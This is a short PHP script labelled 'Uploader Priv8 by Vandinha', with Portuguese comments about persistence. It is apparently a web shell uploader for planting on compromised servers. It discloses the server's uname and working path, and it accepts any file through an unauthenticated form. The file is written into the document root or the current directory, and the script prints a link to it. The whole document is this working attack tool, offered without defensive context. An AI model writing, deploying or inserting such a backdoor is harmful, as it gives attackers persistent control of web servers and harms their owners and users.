<?php
/**
 * Uploader Priv8 by Vandinha
 * Persistência e Upload Simples
 */

$assinatura = "Uploader by Vandinha";
$host = $_SERVER['HTTP_HOST'];
$root = $_SERVER['DOCUMENT_ROOT'];

echo "<h3>$assinatura</h3>";
echo "<b>Server:</b> " . php_uname() . "<br>";
echo "<b>Path:</b> " . getcwd() . "<br><br>";

echo "<form method='post' enctype='multipart/form-data'>
      <input type='file' name='v_file'>
      <input type='submit' name='v_up' value='Upload'>
      </form>";

if (isset($_POST['v_up'])) {
    $arquivo = $_FILES['v_file']['name'];
    $temp = $_FILES['v_file']['tmp_name'];
    
    // Tentativa de gravar no Document Root
    $path_root = $root . '/' . $arquivo;
    
    if (@copy($temp, $path_root)) {
        $link = "http://$host/$arquivo";
        echo "<br><font color='lime'>[✔] Sucesso no Root:</font> <a href='$link' target='_blank'>$link</a>";
    } 
    // Fallback: Tentativa no diretório atual se o root falhar
    elseif (@copy($temp, $arquivo)) {
        echo "<br><font color='lime'>[✔] Sucesso no diretório local: $arquivo</font>";
    } 
    else {
        echo "<br><font color='red'>[✘] Erro: Sem permissão de escrita.</font>";
    }
}
?>
